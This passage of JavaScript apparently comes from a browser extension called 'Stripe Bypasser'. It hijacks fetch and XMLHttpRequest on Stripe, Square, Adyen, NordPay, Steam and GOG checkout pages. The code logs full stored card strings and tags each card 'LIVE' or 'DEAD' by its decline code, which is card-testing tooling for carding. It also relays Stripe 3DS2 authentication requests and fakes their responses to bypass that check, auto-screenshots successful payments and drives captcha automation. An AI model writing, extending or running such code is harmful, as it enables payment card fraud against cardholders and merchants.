                  cardInfo: storedCardLog,
                  declineCode
                };
                const paymentLogEntry = typeInfo;
                emitPaymentLogEntry(paymentLogEntry);
              }
              if (nordPayXhrState.success) {
                let parsedPayload = null;
                try {
                  if (typeof window !== "undefined" && window.localStorage) {
                    parsedPayload = window.localStorage.getItem("nordpayBypasserLastCardString");
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                if (parsedPayload) {
                  stripeBypasserLogger.log("[FetchInterceptor] NordPay payment succeeded", {
                    card: parsedPayload.substring(0, 20) + "..."
                  });
                  const typeInfo = {
                    type: "STRIPE_BYPASSER_PAYMENT_LOG",
                    message: "NordPay Payment Success: " + parsedPayload,
                    logType: "success"
                  };
                  const paymentLogEntry = typeInfo;
                  emitPaymentLogEntry(paymentLogEntry);
                }
              }
              if (nordPayXhrState.failed) {
                let storedCardString = null;
                try {
                  if (typeof window !== "undefined" && window.localStorage) {
                    storedCardString = window.localStorage.getItem("nordpayBypasserLastCardString");
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const storedCardLog = storedCardString;
                let parsedPayload = null;
                try {
                  if (window.StripeBypasserDeclineHandler?.extractGatewayDeclineCode) {
                    parsedPayload = window.StripeBypasserDeclineHandler.extractGatewayDeclineCode(
                      "nordpay",
                      responseJson,
                      responseText
                    );
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const declineCode = parsedPayload?.code || "Unknown";
                const declineMessage = parsedPayload?.message || "";
                const isLiveCard = parsedPayload?.isLive || false;
                const statusLabel = isLiveCard ? "LIVE" : "DEAD";
                const logType = isLiveCard ? "success" : "error";
                const message = storedCardLog
                  ? statusLabel +
                    " | NordPay: Decline Code: " +
                    declineCode +
                    " | Card: " +
                    storedCardLog +
                    (declineMessage ? " | " + declineMessage : "")
                  : statusLabel +
                    " | NordPay: Decline Code: " +
                    declineCode +
                    (declineMessage ? " | " + declineMessage : "");
                try {
                  window.postMessage(
                    {
                      type: "STRIPE_BYPASSER_SHOW_BANNER",
                      bannerText: isLiveCard ? "LIVE Card" : "Card Declined",
                      bannerType: isLiveCard ? "success" : "error",
                      details:
                        statusLabel +
                        " | NordPay: Decline Code: " +
                        declineCode +
                        (storedCardLog ? " | Card: " + storedCardLog.split("|")[0].slice(-4) : "")
                    },
                    "*"
                  );
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const typeInfo = {
                  type: "STRIPE_BYPASSER_PAYMENT_LOG",
                  message,
                  logType,
                  cardInfo: storedCardLog,
                  declineCode
                };
                const paymentLogEntry = typeInfo;
                emitPaymentLogEntry(paymentLogEntry);
              }
              if (squareXhrState.success) {
                const squareAmountMoney = responseJson?.amountMoney;
                const paymentAmountMoney = responseJson?.payment?.amountMoney;
                const amountValueText = formatMinorUnitAmount(
                  squareAmountMoney?.amount,
                  responseJson?.amount,
                  paymentAmountMoney?.amount
                );
                const squareCurrency =
                  (typeof squareAmountMoney?.currency === "string"
                    ? squareAmountMoney.currency.toUpperCase()
                    : null) ||
                  (typeof responseJson?.currency === "string"
                    ? responseJson.currency.toUpperCase()
                    : null) ||
                  (typeof paymentAmountMoney?.currency === "string"
                    ? paymentAmountMoney.currency.toUpperCase()
                    : null) ||
                  "USD";
                const amount = amountValueText ? squareCurrency + " " + amountValueText : null;
                let storedCardString = null;
                try {
                  if (typeof window !== "undefined" && window.localStorage) {
                    storedCardString = window.localStorage.getItem("squareBypasserLastCardString");
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const storedCardInfo = storedCardString || cardInfo;
                const message = storedCardInfo
                  ? "Square: Payment Succeeded | Card: " +
                    storedCardInfo +
                    (amount ? " | Amount: " + amount : "")
                  : "Square: Payment Succeeded" + (amount ? " | Amount: " + amount : "");
                const isTopSelf = window.top !== window.self;
                const isSquareHost =
                  url.includes("squareup.com") ||
                  (window.location &&
                    window.location.hostname &&
                    window.location.hostname.includes("squareup.com"));
                if (isTopSelf || isSquareHost) {
                  try {
                    window.postMessage(
                      {
                        type: "STRIPE_BYPASSER_SHOW_BANNER",
                        bannerText: "Payment Succeeded",
                        bannerType: "success",
                        details: cardInfo ? "Card: " + cardInfo.split("|")[0].slice(-4) : null
                      },
                      "*"
                    );
                  } catch (error) {
                    logInterceptedFetchError(error);
                  }
                } else if (window.createStripeBypassBanner) {
                  setTimeout(() => {
                    try {
                      window.createStripeBypassBanner(
                        "Payment Succeeded",
                        "success",
                        cardInfo ? "Card: " + cardInfo.split("|")[0].slice(-4) : null
                      );
                    } catch (error) {
                      logInterceptedFetchError(error);
                    }
                  }, 0);
                }
                const paymentLogEntry = {
                  type: "STRIPE_BYPASSER_PAYMENT_LOG",
                  message,
                  logType: "success",
                  cardInfo,
                  amount,
                  responseText: "Payment completed successfully!",
                  gateway: "square",
                  merchant:
                    responseJson?.merchantId ||
                    responseJson?.merchant_id ||
                    responseJson?.reference ||
                    "Square Checkout",
                  successUrl: window.location?.href || url,
                  siteUrl: window.location?.origin || url.split("/").slice(0, 3).join("/"),
                  customerEmail: responseJson?.buyerEmailAddress || responseJson?.email || null,
                  responseData: responseJson,
                  url
                };
                emitPaymentLogEntry(paymentLogEntry);
              }
              if (squareXhrState.failed) {
                let storedCardString = null;
                try {
                  if (typeof window !== "undefined" && window.localStorage) {
                    storedCardString = window.localStorage.getItem("squareBypasserLastCardString");
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const storedCardLog = storedCardString;
                let parsedPayload = null;
                try {
                  if (window.StripeBypasserDeclineHandler?.extractGatewayDeclineCode) {
                    parsedPayload = window.StripeBypasserDeclineHandler.extractGatewayDeclineCode(
                      "square",
                      responseJson,
                      responseText
                    );
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const declineCode =
                  parsedPayload?.code || responseJson?.errors?.[0]?.code || "Unknown";
                const declineMessage =
                  parsedPayload?.message || responseJson?.errors?.[0]?.detail || "";
                const isLiveCard = parsedPayload?.isLive || false;
                const statusLabel = isLiveCard ? "LIVE" : "DEAD";
                const logType = isLiveCard ? "success" : "error";
                const message = storedCardLog
                  ? statusLabel +
                    " | Square: Decline Code: " +
                    declineCode +
                    " | Card: " +
                    storedCardLog +
                    (declineMessage ? " | " + declineMessage : "")
                  : statusLabel +
                    " | Square: Decline Code: " +
                    declineCode +
                    (declineMessage ? " | " + declineMessage : "");
                const bannerText = isLiveCard ? "LIVE Card" : "Card Declined";
                const bannerType = isLiveCard ? "success" : "error";
                const bannerDetails =
                  statusLabel +
                  " | Square: Decline Code: " +
                  declineCode +
                  (storedCardLog ? " | Card: " + storedCardLog.split("|")[0].slice(-4) : "");
                try {
                  const typeInfo = {
                    type: "STRIPE_BYPASSER_SHOW_BANNER",
                    bannerText,
                    bannerType,
                    details: bannerDetails
                  };
                  window.postMessage(typeInfo, "*");
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const paymentLogEntry = {
                  type: "STRIPE_BYPASSER_PAYMENT_LOG",
                  message,
                  logType,
                  cardInfo: storedCardLog,
                  declineCode,
                  responseText:
                    "Payment failed: " +
                    declineCode +
                    (declineMessage ? " - " + declineMessage : ""),
                  gateway: "square",
                  merchant:
                    responseJson?.merchantId ||
                    responseJson?.merchant_id ||
                    responseJson?.reference ||
                    "Square Checkout",
                  successUrl: window.location?.href || url,
                  siteUrl: window.location?.origin || url.split("/").slice(0, 3).join("/"),
                  responseData: responseJson,
                  url
                };
                emitPaymentLogEntry(paymentLogEntry);
              }
              if (adyenXhrState.success) {
                const adyenAmount = responseJson?.amount;
                const amountValueText = formatMinorUnitAmount(
                  adyenAmount?.value,
                  responseJson?.amount
                );
                const amountCurrencyCode =
                  (typeof adyenAmount?.currency === "string"
                    ? adyenAmount.currency.toUpperCase()
                    : null) ||
                  (typeof responseJson?.currency === "string"
                    ? responseJson.currency.toUpperCase()
                    : null) ||
                  "USD";
                const amount = amountValueText ? amountCurrencyCode + " " + amountValueText : null;
                const responseCustomer = responseJson?.customer;
                const customerEmail =
                  responseJson?.shopperEmail ||
                  responseCustomer?.email ||
                  responseJson?.email ||
                  null;
                const successUrl = window.location?.href || url;
                const siteUrl = window.location?.origin || url.split("/").slice(0, 3).join("/");
                const merchant =
                  responseJson?.merchantReference ||
                  responseJson?.reference ||
                  responseJson?.merchantAccount ||
                  "Adyen Checkout";
                let storedCardString = null;
                try {
                  if (typeof window !== "undefined" && window.localStorage) {
                    storedCardString = window.localStorage.getItem("adyenBypasserLastCardString");
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const storedCardLog = storedCardString;
                const message = storedCardLog
                  ? "Adyen: Payment Succeeded | Card: " +
                    storedCardLog +
                    (amount ? " | Amount: " + amount : "")
                  : "Adyen: Payment Succeeded" + (amount ? " | Amount: " + amount : "");
                const isTopSelf = window.top !== window.self;
                const isAdyenLocationUrl =
                  url.includes("adyen.com") ||
                  (window.location &&
                    window.location.hostname &&
                    window.location.hostname.includes("adyen.com"));
                if (isTopSelf || isAdyenLocationUrl) {
                  try {
                    window.postMessage(
                      {
                        type: "STRIPE_BYPASSER_SHOW_BANNER",
                        bannerText: "Payment Succeeded",
                        bannerType: "success",
                        details: storedCardLog
                          ? "Card: " + storedCardLog.split("|")[0].slice(-4)
                          : null
                      },
                      "*"
                    );
                  } catch (error) {
                    logInterceptedFetchError(error);
                  }
                } else if (window.createStripeBypassBanner) {
                  setTimeout(() => {
                    try {
                      window.createStripeBypassBanner(
                        "Payment Succeeded",
                        "success",
                        storedCardLog ? "Card: " + storedCardLog.split("|")[0].slice(-4) : null
                      );
                    } catch (error) {
                      logInterceptedFetchError(error);
                    }
                  }, 0);
                }
                const logDetail = {
                  type: "STRIPE_BYPASSER_PAYMENT_LOG",
                  message,
                  logType: "success",
                  cardInfo: storedCardLog,
                  amount,
                  responseText: "Payment authorised successfully!",
                  gateway: "adyen",
                  merchant,
                  successUrl,
                  siteUrl,
                  customerEmail,
                  responseData: responseJson,
                  url
                };
                const detail = logDetail;
                emitPaymentLogEntry(detail);
              }
              if (adyenXhrState.failed) {
                let storedCardString = null;
                try {
                  if (typeof window !== "undefined" && window.localStorage) {
                    storedCardString = window.localStorage.getItem("adyenBypasserLastCardString");
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const storedCardLog = storedCardString;
                let parsedPayload = null;
                try {
                  if (window.StripeBypasserDeclineHandler?.extractGatewayDeclineCode) {
                    parsedPayload = window.StripeBypasserDeclineHandler.extractGatewayDeclineCode(
                      "adyen",
                      responseJson,
                      responseText
                    );
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const declineCode =
                  parsedPayload?.code ||
                  responseJson?.refusalReasonCode ||
                  responseJson?.refusalReason ||
                  "Unknown";
                const refusalReason =
                  parsedPayload?.message ||
                  responseJson?.refusalReason ||
                  responseJson?.resultCode ||
                  "";
                const isLiveCard = parsedPayload?.isLive || false;
                const statusLabel = isLiveCard ? "LIVE" : "DEAD";
                const logType = isLiveCard ? "success" : "error";
                const message = storedCardLog
                  ? statusLabel +
                    " | Adyen: Decline Code: " +
                    declineCode +
                    " | Card: " +
                    storedCardLog +
                    (refusalReason ? " | " + refusalReason : "")
                  : statusLabel +
                    " | Adyen: Decline Code: " +
                    declineCode +
                    (refusalReason ? " | " + refusalReason : "");
                const bannerText = isLiveCard ? "LIVE Card" : "Card Declined";
                const bannerType = isLiveCard ? "success" : "error";
                const bannerDetails =
                  statusLabel +
                  " | Adyen: Decline Code: " +
                  declineCode +
                  (storedCardLog ? " | Card: " + storedCardLog.split("|")[0].slice(-4) : "");
                try {
                  const typeInfo = {
                    type: "STRIPE_BYPASSER_SHOW_BANNER",
                    bannerText,
                    bannerType,
                    details: bannerDetails
                  };
                  window.postMessage(typeInfo, "*");
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const paymentLogEntry = {
                  type: "STRIPE_BYPASSER_PAYMENT_LOG",
                  message,
                  logType,
                  cardInfo: storedCardLog,
                  declineCode,
                  responseText:
                    "Payment refused: " +
                    declineCode +
                    (refusalReason ? " - " + refusalReason : ""),
                  gateway: "adyen",
                  merchant:
                    responseJson?.merchantReference || responseJson?.reference || "Adyen Checkout",
                  successUrl: window.location?.href || url,
                  siteUrl: window.location?.origin || url.split("/").slice(0, 3).join("/"),
                  responseData: responseJson,
                  url
                };
                emitPaymentLogEntry(paymentLogEntry);
              }
              if (stripePaymentSucceeded) {
                const paymentIntent = responseJson?.payment_intent;
                const amountText = formatMinorUnitAmount(
                  responseJson?.amount,
                  responseJson?.amount_total,
                  paymentIntent?.amount
                );
                const currency =
                  (typeof responseJson?.currency === "string"
                    ? responseJson.currency.toUpperCase()
                    : null) ||
                  (typeof paymentIntent?.currency === "string"
                    ? paymentIntent.currency.toUpperCase()
                    : null) ||
                  "USD";
                const amount = amountText ? currency + " " + amountText : null;
                const customerEmail =
                  responseJson?.customer_email ||
                  responseJson?.customer_details?.email ||
                  responseJson?.payment_intent?.receipt_email ||
                  null;
                const successUrl = window.location?.href || url;
                const siteUrl = window.location?.origin || url.split("/").slice(0, 3).join("/");
                const displayItems = responseJson?.display_items;
                const lineItems = responseJson?.line_items?.data;
                const merchant =
                  displayItems?.[0]?.description || lineItems?.[0]?.description || "Checkout";
                const message = cardInfo
                  ? "Payment Succeeded | Card: " + cardInfo + (amount ? " | Amount: " + amount : "")
                  : "Payment Succeeded" + (amount ? " | Amount: " + amount : "");
                const isTopSelf = window.top !== window.self;
                const isStripeHost =
                  url.includes("api.stripe.com") ||
                  (window.location &&
                    window.location.hostname &&
                    window.location.hostname.includes("stripe.com"));
                if (isTopSelf || isStripeHost) {
                  try {
                    window.postMessage(
                      {
                        type: "STRIPE_BYPASSER_SHOW_BANNER",
                        bannerText: "Payment Succeeded",
                        bannerType: "success",
                        details: cardInfo ? "Card: " + cardInfo.split("|")[0].slice(-4) : null
                      },
                      "*"
                    );
                  } catch (error) {
                    logInterceptedFetchError(error);
                  }
                } else if (window.createStripeBypassBanner) {
                  setTimeout(() => {
                    try {
                      window.createStripeBypassBanner(
                        "Payment Succeeded",
                        "success",
                        cardInfo ? "Card: " + cardInfo.split("|")[0].slice(-4) : null
                      );
                    } catch (error) {
                      logInterceptedFetchError(error);
                    }
                  }, 0);
                }
                const logDetail = {
                  type: "STRIPE_BYPASSER_PAYMENT_LOG",
                  message,
                  logType: "success",
                  cardInfo,
                  amount,
                  responseText: "Thank you for the payment!",
                  gateway: "stripe",
                  merchant,
                  successUrl,
                  siteUrl,
                  customerEmail,
                  responseData: responseJson,
                  url
                };
                const detail = logDetail;
                emitPaymentLogEntry(detail);
                if (window.StripeBypasserStrictScreenshot) {
                  try {
                    window.StripeBypasserStrictScreenshot.processPaymentResponse(
                      responseJson,
                      responseText
                    );
                  } catch (error) {
                    if (
                      settingsData.autoScreenshot === true &&
                      shouldCapturePaymentScreenshot(cardInfo, responseJson)
                    ) {
                      setTimeout(() => {
                        if (typeof document !== "undefined" && document && document.dispatchEvent) {
                          document.dispatchEvent(
                            new CustomEvent("stripeBypasserScreenshot", {
                              detail: {
                                type: "STRIPE_BYPASSER_SCREENSHOT",
                                reason: "Payment Succeeded"
                              }
                            })
                          );
                        }
                        window.postMessage(
                          {
                            type: "STRIPE_BYPASSER_SCREENSHOT",
                            reason: "Payment Succeeded"
                          },
                          "*"
                        );
                      }, 500);
                    }
                  }
                } else if (
                  settingsData.autoScreenshot === true &&
                  shouldCapturePaymentScreenshot(cardInfo, responseJson)
                ) {
                  setTimeout(() => {
                    if (typeof document !== "undefined" && document && document.dispatchEvent) {
                      document.dispatchEvent(
                        new CustomEvent("stripeBypasserScreenshot", {
                          detail: {
                            type: "STRIPE_BYPASSER_SCREENSHOT",
                            reason: "Payment Succeeded"
                          }
                        })
                      );
                    }
                    window.postMessage(
                      {
                        type: "STRIPE_BYPASSER_SCREENSHOT",
                        reason: "Payment Succeeded"
                      },
                      "*"
                    );
                  }, 500);
                }
              } else if (gogPaymentSucceeded && window.StripeBypasserStrictScreenshot) {
                try {
                  window.StripeBypasserStrictScreenshot.processPaymentResponse(
                    responseJson,
                    responseText
                  );
                } catch (error) {
                  logInterceptedFetchError(error);
                }
              }
              if (!isInitRequest) {
                let parsedPayload = null;
                if (
                  window.StripeBypasserDeclineHandler &&
                  window.StripeBypasserDeclineHandler.extractDeclineCode &&
                  responseJson
                ) {
                  parsedPayload =
                    window.StripeBypasserDeclineHandler.extractDeclineCode(responseJson);
                }
                if (
                  (!parsedPayload || !parsedPayload.code) &&
                  responseText &&
                  typeof responseText === "string"
                ) {
                  const binList = [
                    /"decline_code"\s*:\s*"([^"]+)"/i,
                    /"failure_code"\s*:\s*"([^"]+)"/i,
                    /"code"\s*:\s*"([^"]+)"/i,
                    /decline_code["\s]*:["\s]*([a-z_]+)/i,
                    /failure_code["\s]*:["\s]*([a-z_]+)/i
                  ];
                  const supportedDeclineCodes = [
                    "card_not_supported",
                    "generic_decline",
                    "fraudulent",
                    "incorrect_number",
                    "invalid_account",
                    "insufficient_funds",
                    "transaction_not_allowed",
                    "do_not_honor",
                    "lost_card",
                    "stolen_card",
                    "expired_card",
                    "incorrect_cvc",
                    "processing_error",
                    "reenter_transaction",
                    "restricted_card",
                    "security_violation",
                    "service_not_allowed",
                    "stop_payment_order",
                    "testmode_decline",
                    "withdrawal_count_limit_exceeded",
                    "payment_intent_authentication_failure"
                  ];
                  for (const declineCodePattern of binList) {
                    const match = responseText.match(declineCodePattern);
                    if (match && match[1]) {
                      const code = match[1].toLowerCase();
                      if (supportedDeclineCodes.includes(code)) {
                        parsedPayload = {
                          code,
                          message:
                            responseText.match(/"message"\s*:\s*"([^"]+)"/i)?.[1] ||
                            responseText.match(/"failure_message"\s*:\s*"([^"]+)"/i)?.[1] ||
                            ""
                        };
                        break;
                      }
                    }
                  }
                }
                if (parsedPayload && parsedPayload.code) {
                  const declineCode = parsedPayload.code;
                  const declineMessage = parsedPayload.message || "";
                  const isLiveDecline = window.StripeBypasserDeclineHandler?.isLiveDeclineCode
                    ? window.StripeBypasserDeclineHandler.isLiveDeclineCode("stripe", declineCode)
                    : declineCode === "insufficient_funds" ||
                      declineCode === "incorrect_cvc" ||
                      declineCode === "do_not_honor";
                  const logType = isLiveDecline ? "success" : "error";
                  const statusLabel = isLiveDecline ? "LIVE" : "DEAD";
                  const message = cardInfo
                    ? statusLabel +
                      " | Stripe: Decline Code: " +
                      declineCode +
                      " | Card: " +
                      cardInfo +
                      (declineMessage ? " | " + declineMessage : "")
                    : statusLabel +
                      " | Stripe: Decline Code: " +
                      declineCode +
                      (declineMessage ? " | " + declineMessage : "");
                  const isTopSelf = window.top !== window.self;
                  const isStripeHost =
                    url.includes("api.stripe.com") ||
                    (window.location &&
                      window.location.hostname &&
                      window.location.hostname.includes("stripe.com"));
                  const bannerText = isLiveDecline ? "LIVE Card" : "Card Declined";
                  const bannerType = isLiveDecline ? "success" : "error";
                  const bannerDetails =
                    statusLabel +
                    " | Stripe: Decline Code: " +
                    declineCode +
                    (cardInfo ? " | Card: " + cardInfo.split("|")[0].slice(-4) : "");
                  if (isTopSelf || isStripeHost) {
                    try {
                      const typeInfo = {
                        type: "STRIPE_BYPASSER_SHOW_BANNER",
                        bannerText,
                        bannerType,
                        details: bannerDetails
                      };
                      window.postMessage(typeInfo, "*");
                    } catch (error) {
                      logInterceptedFetchError(error);
                    }
                  } else if (window.createStripeBypassBanner) {
                    setTimeout(() => {
                      try {
                        window.createStripeBypassBanner(bannerText, bannerType, bannerDetails);
                      } catch (error) {
                        logInterceptedFetchError(error);
                      }
                    }, 0);
                  }
                  if (typeof document !== "undefined" && document && document.dispatchEvent) {
                    try {
                      document.dispatchEvent(
                        new CustomEvent("stripeBypasserPaymentLog", {
                          detail: {
                            type: "STRIPE_BYPASSER_PAYMENT_LOG",
                            message,
                            logType
                          }
                        })
                      );
                    } catch (error) {
                      logInterceptedFetchError(error);
                    }
                  }
                  try {
                    const typeInfo = {
                      type: "STRIPE_BYPASSER_PAYMENT_LOG",
                      message,
                      logType
                    };
                    window.postMessage(typeInfo, "*");
                  } catch (error) {
                    logInterceptedFetchError(error);
                  }
                }
              }
            } catch (error) {
              stripeBypasserLogger.debug("[FetchInterceptor] Error processing response:", error);
            }
            return response;
          })
          .catch(asyncError => Promise.reject(asyncError));
      }
      return originalFetch.apply(this, [requestInput, options]);
    };
    window.__ourFetchInterceptorRef = interceptedFetch;
    window.__deepBypasserInterceptedFetch = interceptedFetch;
    window.__deepBypasserInterceptorReady = true;
    try {
      const fetchDescriptor = {
        value: interceptedFetch,
        writable: true,
        configurable: false
      };
      Object.defineProperty(window, "fetch", fetchDescriptor);
      const windowFetch = window.fetch;
      if (windowFetch !== interceptedFetch && windowFetch !== window.__ourFetchInterceptorRef) {
        console.error(
          "[FetchInterceptor] ❌ Object.defineProperty FAILED - fetch is not our interceptor!",
          {
            windowFetch,
            ourInterceptor: interceptedFetch,
            storedRef: window.__ourFetchInterceptorRef
          }
        );
      } else {
        setInterval(() => {
          const locationHostname = window.location?.hostname || "";
          if (
            locationHostname.includes("stripe.com") ||
            locationHostname.includes("steampowered.com") ||
            locationHostname.includes("gog.com") ||
            locationHostname.includes("checkout.com")
          ) {
            syncAutoCaptchaConfig();
          }
        }, 100);
        if (typeof document !== "undefined") {
          ["DOMContentLoaded", "load", "readystatechange"].forEach(item => {
            document.addEventListener(
              item,
              () => {
                setTimeout(syncAutoCaptchaConfig, 10);
              },
              true
            );
          });
        }
      }
    } catch (error) {
      console.warn("[FetchInterceptor] ⚠️ Object.defineProperty failed, using assignment:", error);
      window.fetch = interceptedFetch;
      window.__ourFetchInterceptor = interceptedFetch;
      setInterval(() => {
        const locationHostname = window.location?.hostname || "";
        if (
          locationHostname.includes("stripe.com") ||
          locationHostname.includes("steampowered.com") ||
          locationHostname.includes("gog.com") ||
          locationHostname.includes("checkout.com")
        ) {
          syncAutoCaptchaConfig();
        }
      }, 100);
      if (typeof document !== "undefined") {
        ["DOMContentLoaded", "load", "readystatechange"].forEach(item => {
          document.addEventListener(
            item,
            () => {
              setTimeout(syncAutoCaptchaConfig, 10);
            },
            true
          );
        });
      }
      syncAutoCaptchaConfig();
    }
    window.__XHRInterceptorInstalled = true;
    const originalXhrOpen = window.__deepBypasserOriginalXHROpen || XMLHttpRequest.prototype.open;
    const originalXhrSend = window.__deepBypasserOriginalXHRSend || XMLHttpRequest.prototype.send;
    XMLHttpRequest.prototype.open = function interceptPaymentXhrOpen(
      requestMethod,
      requestUrl,
      ...openArgs
    ) {
      this._stripeUrl = typeof requestUrl === "string" ? requestUrl : requestUrl.toString();
      this._stripeMethod = requestMethod;
      if (
        window.location &&
        window.location.hostname &&
        window.location.hostname.includes("steampowered.com")
      ) {
        console.log("[XHRInterceptor] 🔵 XHR OPEN (ALL) 🔵", {
          method: requestMethod,
          url: this._stripeUrl,
          isSteamDomain: this._stripeUrl.includes("steampowered.com"),
          isRelative: this._stripeUrl.startsWith("/") || !this._stripeUrl.includes("://")
        });
      }
      return originalXhrOpen.apply(this, [requestMethod, requestUrl, ...openArgs]);
    };
    XMLHttpRequest.prototype.send = function interceptPaymentXhrSend(...sendArgs) {
      const [rawXhrPayload] = sendArgs;
      const url = this._stripeUrl || "";
      const method = (this._stripeMethod || "GET").toUpperCase();
      let requestBodyText = rawXhrPayload;
      if (requestBodyText && typeof requestBodyText !== "string") {
        if (requestBodyText instanceof FormData) {
          const searchParams = new URLSearchParams();
          for (const [requestBodyKey, requestBodyValue] of requestBodyText.entries()) {
            searchParams.append(requestBodyKey, requestBodyValue);
          }
          requestBodyText = searchParams.toString();
        } else {
          requestBodyText =
            requestBodyText instanceof URLSearchParams
              ? requestBodyText.toString()
              : String(requestBodyText);
        }
      }
      if (
        requestBodyText &&
        typeof requestBodyText === "string" &&
        requestBodyText.toLowerCase().includes("gidshoppingcart")
      ) {
        console.log(
          "[SteamDetect XHR] EARLY DETECTION: Found gidShoppingCart in body - DEFINITIVE Steam request!",
          {
            url,
            method,
            bodyPreview: requestBodyText.substring(0, 200)
          }
        );
      }
      if (url.includes("steampowered.com")) {
        console.log("[XHRInterceptor] XHR send for Steam:", {
          url,
          method,
          hasBody: !!requestBodyText,
          bodyType: typeof requestBodyText,
          bodyPreview:
            requestBodyText && typeof requestBodyText === "string"
              ? requestBodyText.substring(0, 200)
              : "N/A"
        });
      }
      if (
        (url.includes("/v1/3ds2/authenticate") ||
          url.includes("/v2/3ds2/authenticate") ||
          url.includes("/v3/3ds2/authenticate") ||
          (url.includes("stripe.com") && url.includes("3ds2/authenticate"))) &&
        method === "POST" &&
        requestBodyText
      ) {
        try {
          let settingsData = {};
          if (
            window.StripeBypasserSettings &&
            typeof window.StripeBypasserSettings.get === "function"
          ) {
            settingsData = window.StripeBypasserSettings.get();
          } else if (window.__STRIPE_BYPASSER_SETTINGS__) {
            settingsData = window.__STRIPE_BYPASSER_SETTINGS__;
          }
          if (settingsData && settingsData.enabled === false) {
            return originalXhrSend.apply(this, sendArgs);
          }
          if (settingsData && settingsData.threeDSBypass === false) {
            return originalXhrSend.apply(this, sendArgs);
          }
          if (!settingsData || settingsData.licenseActive !== true) {
            console.log("[3DS-Bypass] XHR: License active, skipping 3DS bypass");
            return originalXhrSend.apply(this, sendArgs);
          }
        } catch (error) {
          console.warn("[Deep Bypasser] Operation failed", error.message);
        }
        const xhrInstance = this;
        try {
          const relayResponseListener = event => {
            if (
              event.data &&
              event.data.type === "STRIPE_BYPASSER_3DS_RELAY_RESPONSE" &&
              event.data.requestId === requestId
            ) {
              window.removeEventListener("message", relayResponseListener);
              relayResponseHandled = true;
              if (event.data.error) {
                if (event.data.error !== "Relay server offline") {
                  console.warn("[3DS-Bypass] XHR: Background relay failed, falling back to direct");
                }
                return originalXhrSend.apply(xhrInstance, [requestBodyText]);
              }
              console.log(
                "[3DS-Bypass] XHR: Got response from background relay:",
                event.data.status
              );
              try {
                const statusDescriptor = {
                  value: event.data.status || 200,
                  writable: false,
                  configurable: true
                };
                const statusTextDescriptor = {
                  value: event.data.statusText || "OK",
                  writable: false,
                  configurable: true
                };
                const responseTextDescriptor = {
                  value: event.data.body || "",
                  writable: false,
                  configurable: true
                };
                const responseDescriptor = {
                  value: event.data.body || "",
                  writable: false,
                  configurable: true
                };
                Object.defineProperty(xhrInstance, "readyState", {
                  value: 4,
                  writable: false,
                  configurable: true
                });
                Object.defineProperty(xhrInstance, "status", statusDescriptor);
                Object.defineProperty(xhrInstance, "statusText", statusTextDescriptor);
                Object.defineProperty(xhrInstance, "responseText", responseTextDescriptor);
                Object.defineProperty(xhrInstance, "response", responseDescriptor);
                let responseHeadersText = "";
                if (event.data.headers) {
                  Object.keys(event.data.headers).forEach(headerName => {
                    responseHeadersText +=
                      headerName + ": " + event.data.headers[headerName] + "\r\n";
                  });
                }
                Object.defineProperty(xhrInstance, "getAllResponseHeaders", {
                  value() {
                    return responseHeadersText;
                  },
                  configurable: true
                });
                Object.defineProperty(xhrInstance, "getResponseHeader", {
                  value(headerName) {
                    return (
                      (event.data.headers && event.data.headers[headerName.toLowerCase()]) || null
                    );
                  },
                  configurable: true
                });
                if (typeof xhrInstance.onreadystatechange === "function") {
                  xhrInstance.onreadystatechange(new Event("readystatechange"));
                }
                xhrInstance.dispatchEvent(new Event("readystatechange"));
                if (typeof xhrInstance.onload === "function") {
                  xhrInstance.onload(new ProgressEvent("load"));
                }
                xhrInstance.dispatchEvent(new ProgressEvent("load"));
                xhrInstance.dispatchEvent(new ProgressEvent("loadend"));
              } catch (error) {
                console.warn("[3DS-Bypass] XHR: Failed to simulate response, falling back:", error);
                originalXhrSend.apply(xhrInstance, [requestBodyText]);
              }
            }
          };
          const cleanedBody =
            typeof requestBodyText === "string" ? requestBodyText : requestBodyText.toString();
          const requestId =
            "r3ds_" + Date.now() + "_" + Math.random().toString(36).substring(2, 11);
          console.log("[3DS-Bypass] XHR: Routing 3DS authenticate through background:", url);
          let relayResponseHandled = false;
          window.addEventListener("message", relayResponseListener);
          window.postMessage(
            {
              type: "STRIPE_BYPASSER_3DS_RELAY",
              requestId,
              url,
              body: cleanedBody,
              headers: {},
              origin: window.location.origin
            },
            "*"
          );
          setTimeout(() => {
            if (!relayResponseHandled) {
              window.removeEventListener("message", relayResponseListener);
              console.warn("[3DS-Bypass] XHR: Background relay timeout, falling back to direct");
              originalXhrSend.apply(xhrInstance, [requestBodyText]);
            }
          }, 15000);
          return;
        } catch (error) {
          console.warn("[3DS-Bypass] XHR: Relay setup failed, sending direct:", error);
          return originalXhrSend.apply(this, sendArgs);
        }
      }
      const isSquareDomainUrl =
        url.includes("squareup.com") ||
        url.includes("square.site") ||
        url.includes("checkout.square.site") ||
        url.includes("checkout.square") ||
        url.includes("pci-connect.squareup.com") ||
        url.includes("connect.squareup.com");
      const isSteamCheckoutUrl =
        url.includes("checkout.steampowered.com") || url.includes("steampowered.com");
      const isSquareApiUrl =
        isSquareDomainUrl &&
        (url.includes("/v2/card-nonce") ||
          url.includes("/v2/payments") ||
          url.includes("/v2/checkout") ||
          url.includes("/card-nonce") ||
          (url.includes("checkout.square.site") && url.includes("/checkout")) ||
          (url.includes("square.site") && url.includes("/checkout")));
      const requestMethod = (this._stripeMethod || "GET").toUpperCase();
      const isGogApi =
        url.includes("api.gog.com") &&
        url.includes("/checkout/") &&
        url.includes("/payment") &&
        !url.includes("/payment-provider/") &&
        requestMethod === "POST";
      let hasSquarePayloadPattern = false;
      if (
        !isSquareApiUrl &&
        !isSquareDomainUrl &&
        !isSteamCheckoutUrl &&
        !isGogApi &&
        requestBodyText &&
        typeof requestBodyText === "string"
      ) {
        const isSteamDomainUrl = url.includes("steampowered.com");
        const isIncludesGog = url.includes("api.gog.com");
        if (!isSteamDomainUrl && !isIncludesGog) {
